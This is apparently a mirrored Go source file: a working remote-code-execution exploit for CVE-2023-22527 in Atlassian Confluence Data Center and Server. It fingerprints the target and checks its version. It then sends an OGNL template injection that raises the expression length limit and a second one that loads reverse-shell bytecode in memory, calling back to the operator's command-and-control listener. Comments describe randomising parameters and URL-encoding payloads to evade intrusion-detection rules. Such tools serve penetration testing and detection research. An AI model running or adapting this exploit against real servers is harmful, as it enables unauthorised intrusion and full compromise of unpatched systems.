mirror of
https://github.com/vulncheck-oss/cve-2023-22527
synced 2026-06-08 18:05:07 +00:00
173 lines
5.2 KiB
Go
173 lines
5.2 KiB
Go
package main
|
|
|
|
import (
|
|
b64 "encoding/base64"
|
|
"regexp"
|
|
"strconv"
|
|
"strings"
|
|
|
|
"github.com/vulncheck-oss/go-exploit"
|
|
"github.com/vulncheck-oss/go-exploit/c2"
|
|
"github.com/vulncheck-oss/go-exploit/config"
|
|
"github.com/vulncheck-oss/go-exploit/java"
|
|
"github.com/vulncheck-oss/go-exploit/output"
|
|
"github.com/vulncheck-oss/go-exploit/protocol"
|
|
"github.com/vulncheck-oss/go-exploit/random"
|
|
"github.com/vulncheck-oss/go-exploit/transform"
|
|
)
|
|
|
|
type ConfluenceOGNLExploit struct{}
|
|
|
|
func (sploit ConfluenceOGNLExploit) ValidateTarget(conf *config.Config) bool {
|
|
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
|
|
resp, body, ok := protocol.HTTPGetCache(uri)
|
|
if !ok {
|
|
return false
|
|
}
|
|
|
|
if resp.StatusCode != 200 {
|
|
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
|
|
|
|
return false
|
|
}
|
|
_, ok = resp.Header["X-Confluence-Request-Time"]
|
|
if !ok {
|
|
return false
|
|
}
|
|
_, ok = resp.Header["Set-Cookie"]
|
|
if !ok {
|
|
return false
|
|
}
|
|
|
|
return strings.Contains(body, "confluence-context-path")
|
|
}
|
|
|
|
func (sploit ConfluenceOGNLExploit) CheckVersion(conf *config.Config) exploit.VersionCheckType {
|
|
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
|
|
resp, bodyString, ok := protocol.HTTPGetCache(uri)
|
|
if !ok {
|
|
return exploit.Unknown
|
|
}
|
|
|
|
if resp.StatusCode != 200 {
|
|
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
|
|
|
|
return exploit.Unknown
|
|
}
|
|
|
|
re := regexp.MustCompile(`<span id='footer-build-information'>(\d+\.\d+.\d+)</span>`)
|
|
res := re.FindAllStringSubmatch(bodyString, -1)
|
|
if len(res) == 0 {
|
|
output.PrintError("Failed to extract the footer build information")
|
|
|
|
return exploit.Unknown
|
|
}
|
|
version := res[0][1]
|
|
exploit.StoreVersion(conf, version)
|
|
|
|
versionArray := strings.Split(version, ".")
|
|
if len(versionArray) != 3 {
|
|
output.PrintfError("Unexpected version number")
|
|
|
|
return exploit.Unknown
|
|
}
|
|
|
|
major, _ := strconv.Atoi(versionArray[0])
|
|
minor, _ := strconv.Atoi(versionArray[1])
|
|
point, _ := strconv.Atoi(versionArray[2])
|
|
|
|
if major != 8 {
|
|
return exploit.NotVulnerable
|
|
}
|
|
|
|
switch {
|
|
case minor < 5:
|
|
return exploit.Vulnerable
|
|
case minor == 5 && point <= 3:
|
|
return exploit.Vulnerable
|
|
default:
|
|
}
|
|
|
|
return exploit.NotVulnerable
|
|
}
|
|
|
|
// Send a request that encresses the max OGNL size so that we can send our payload.
|
|
func adjustExpressLength(conf *config.Config) bool {
|
|
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/template/aui/text-inline.vm")
|
|
output.PrintfStatus("Sending OGNL expression size limit adjustment to %s", uri)
|
|
|
|
// in an attempt to be sneaky, randomize the start of label and used a randomly generated param
|
|
unused := random.RandLetters(12)
|
|
param := random.RandLetters(3)
|
|
|
|
// URL encoding everything bypasses ET rules
|
|
params := map[string]string{
|
|
`label`: transform.URLEncodeString(unused + `\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.` +
|
|
param + `,{})+\u0027`),
|
|
param: transform.URLEncodeString(`@ognl.Ognl@applyExpressionMaxLength(100000)`),
|
|
}
|
|
resp, _, ok := protocol.HTTPSendAndRecvURLEncoded("POST", uri, params)
|
|
if !ok {
|
|
return false
|
|
}
|
|
if resp.StatusCode != 200 {
|
|
output.PrintError("Unexpected HTTP status %d", resp.StatusCode)
|
|
|
|
return false
|
|
}
|
|
|
|
return true
|
|
}
|
|
|
|
func sendShell(conf *config.Config) bool {
|
|
// generate the class that Confluence will execute in memory
|
|
reverseShell, className := java.ReverseShellBytecode(conf)
|
|
encodedShell := b64.StdEncoding.EncodeToString([]byte(reverseShell))
|
|
|
|
// in an attempt to be sneaky, randomize the start of label and used a randomly generated param
|
|
unused := random.RandLetters(12)
|
|
param := random.RandLetters(3)
|
|
|
|
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/template/aui/text-inline.vm")
|
|
output.PrintfStatus("Sending class %s to %s", className, uri)
|
|
|
|
params := map[string]string{
|
|
param: transform.URLEncodeString("(@org.springframework.cglib.core.ReflectUtils@defineClass('" + className +
|
|
"',@org.springframework.util.Base64Utils@decodeFromString('" + encodedShell +
|
|
"'),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()"),
|
|
`label`: transform.URLEncodeString(unused + `\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.` +
|
|
param + `,{})+\u0027`),
|
|
}
|
|
_, _, ok := protocol.HTTPSendAndRecvURLEncoded("POST", uri, params)
|
|
if !ok {
|
|
return true
|
|
}
|
|
|
|
output.PrintError("Successful exploitation should trigger a timeout as the reverse shell holds the connection open")
|
|
|
|
return false
|
|
}
|
|
|
|
func (sploit ConfluenceOGNLExploit) RunExploit(conf *config.Config) bool {
|
|
if !adjustExpressLength(conf) {
|
|
return false
|
|
}
|
|
|
|
return sendShell(conf)
|
|
}
|
|
|
|
func main() {
|
|
supportedC2 := []c2.Impl{
|
|
c2.SimpleShellServer,
|
|
c2.ShellTunnel,
|
|
}
|
|
conf := config.NewRemoteExploit(
|
|
config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},
|
|
config.CodeExecution, supportedC2, "Atlassian", []string{"Confluence Data Center", "Confluence Server"},
|
|
[]string{"cpe:2.3:a:atlassian:confluence_data_center", "cpe:2.3:a:atlassian:confluence_server"},
|
|
"CVE-2023-22527", "HTTP", 8090)
|
|
|
|
sploit := ConfluenceOGNLExploit{}
|
|
exploit.RunProgram(sploit, conf)
|
|
}
|